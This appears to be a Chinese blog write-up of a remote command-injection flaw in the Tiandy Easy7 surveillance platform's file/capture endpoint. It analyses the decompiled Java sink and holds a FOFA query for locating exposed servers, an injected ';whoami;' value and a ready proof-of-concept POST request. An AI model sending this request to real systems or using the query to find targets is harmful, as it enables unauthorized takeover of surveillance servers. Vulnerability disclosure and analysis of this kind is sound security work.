天地伟业Easy7 capture 命令执行漏洞


漏洞简介

天地伟业Easy7是一款用于视频监控集中管理的综合性软件平台。

在该系统的 /Easy7/rest/file/capture 接口中,存在一处远程命令执行漏洞。该漏洞产生的原因是该接口在处理用户请求参数时缺乏严格的安全校验与输入过滤,攻击者可构造包含恶意系统命令的HTTP请求,并利用后端对参数的不安全调用(例如未经过滤地传入系统Shell执行函数)触发命令执行。未经授权的远程攻击者无需任何有效凭证即可利用该漏洞,在目标服务器上以应用程序权限执行任意系统命令,进而可能导致服务器被控制、敏感文件被读写、内网横向渗透乃至整个监控系统瘫痪。

影响版本

fofa语法

body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"

漏洞分析

首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。

再来看本次的漏洞接口 /rest/file/capture 的实现逻辑

@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
    @Resource(
        name = "boSystemInfo"
    )
    private CLS_BO_SystemInfo boSystemInfo;
    @Resource(
        name = "boFile"
    )
    private CLS_BO_File boFile;
    @Resource(
        name = "boPROXY"
    )
    private CLS_BO_PROXY boPROXY;
    private static final Log log = LogFactory.getLog(CLS_REST_File.class);

    @RequestMapping({"/capture"})
    public void capture(HttpServletRequest request, HttpServletResponse response, CLS_VO_UploadFile voFile) throws IOException {
        response.getWriter().print(JSONObject.fromObject(this.boFile.capture(voFile)));
    }

跟进 this.boFile.capture(voFile) 方法,看下它的实现逻辑

public CLS_VO_Result capture(CLS_VO_UploadFile retVo) {
    CLS_VO_Result result = new CLS_VO_Result();
    String localPath = Tools.getLocalPath(retVo.getSrsPathId());
    String picPath = Tools.capture(localPath, retVo.getPath());
    if (!ToolUtil.isNull(localPath) && !ToolUtil.isNull(picPath)) {
        if (!picPath.startsWith("\\") && !picPath.startsWith("/")) {
            picPath = "\\" + picPath;
        }

        picPath = picPath.replace("/", "\\");
        retVo.setCaptureId(UUID.randomUUID().toString());
        retVo.setCaptureSrsPathId(retVo.getSrsPathId());
        retVo.setCapturePath(picPath);
        this.tabSrsShareTempFileDAO.save(retVo.createCaptureFilePo());
        result.setRet(0);
        result.setContent(retVo);
        return result;

其中localPath的值取决于Tools.getLocalPath方法

public static String getLocalPath(String sSrsSharePathId) {
    return "/root/srsPath/" + sSrsSharePathId;
}

继续跟进 Tools.capture 方法

public static String capture(String realPath, String path) {
    try {
        if (!path.startsWith("\\") && !path.startsWith("/")) {
            path = "/" + path;
        }

        path = path.replace("\\", "/");
        realPath = realPath.replace("\\", "/");
        String picPath = path.substring(0, path.indexOf(".")) + ".jpg";
        String cmd = "export LD_LIBRARY_PATH=/usr/java/jdk1.6.0_20/jre/lib/i386/ffmpeglib/;/usr/java/jdk1.6.0_20/jre/lib/i386/ffmpegbin/ffmpeg -i " + realPath + path + " -y -f  image2  -ss 10 -vframes 1 " + realPath + picPath;
        log.info(" 抓图命令 cmd = " + cmd);
        doLinuxCmd(cmd);
        return picPath;
    } catch (Exception e) {
        e.printStackTrace();
        return "";
    }
}

在这个方法中:realPath(即localPath)和参数path 经过简单的判断被拼接在cmd命令执行里,然后调用doLinuxCmd方法执行

public static String doLinuxCmd(String cmdStr) throws IOException {
    Process exec = doLinuxCmdNoOut(cmdStr);
    InputStream inputStream = exec.getInputStream();
    InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
    BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
    StringBuilder builder = new StringBuilder();

    try {
        String temp;
        try {
            while((temp = bufferedReader.readLine()) != null) {
                builder.append(temp);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    } finally {
        bufferedReader.close();
        inputStreamReader.close();
        inputStream.close();
    }

    log.info("linux返回值: " + builder.toString());
    return builder.toString();
}

跟进 doLinuxCmdNoOut方法,它的实现如下

public static Process doLinuxCmdNoOut(String cmdStr) throws IOException {
    ArrayList<String> cmds = new ArrayList();
    cmds.add("bash");
    cmds.add("-c");
    cmds.add(cmdStr);
    ProcessBuilder pb = new ProcessBuilder(cmds);
    pb.redirectErrorStream(true);
    Process exec = pb.start();
    return exec;
}
  1. 首先,retVo.getSrsPathId() 被传递给 Tools.getLocalPath。这个函数只是简单地做了一个字符串拼接:"/root/srsPath/" + sSrsSharePathId。这意味着如果 srsPathId 包含恶意字符,它会原封不动地带入 realPath。
  2. 接着,Tools.capture(realPath, path) 被调用。在这个函数内部,程序对 path 做了一些简单的处理:确保它以 / 开头,并将反斜杠替换为正斜杠。
  3. 关键的语义处理出现在这一行:String picPath = path.substring(0, path.indexOf(".")) + ".jpg";。这里程序试图通过查找第一个点号 . 来截取文件名。如果攻击者构造一个包含点号的恶意字符串,比如 ;whoami;.mp4,indexOf(".") 会定位到末尾的点,substring 就会把前面的 ;whoami 完整地保留下来。

程序构造了一个极其复杂的字符串 cmd,用来调用系统的 ffmpeg 工具。它把 realPath、path 和 picPath 全部拼接了进去。 最终,这个包含用户输入、没有任何过滤的字符串被送进了 doLinuxCmd(cmd)。在 Linux 环境下,export ...; /usr/.../ffmpeg -i ... 这种形式的命令最终通过 ProcessBuilder().start() 执行。,从而造成命令注入/执行漏洞。

漏洞复现

两个参数均存在命令注入漏洞

POST /Easy7/rest/file/capture HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded

srsPathId=1&path=1.mp4;RCE_POC

然后访问 /share/1.txt 获取命令执行结果即可


手机扫码阅读

天地伟业Easy7 uploadLedImage 文件上传漏洞

天地伟业Easy7 getConfigInfoList SQL注入漏洞

评 论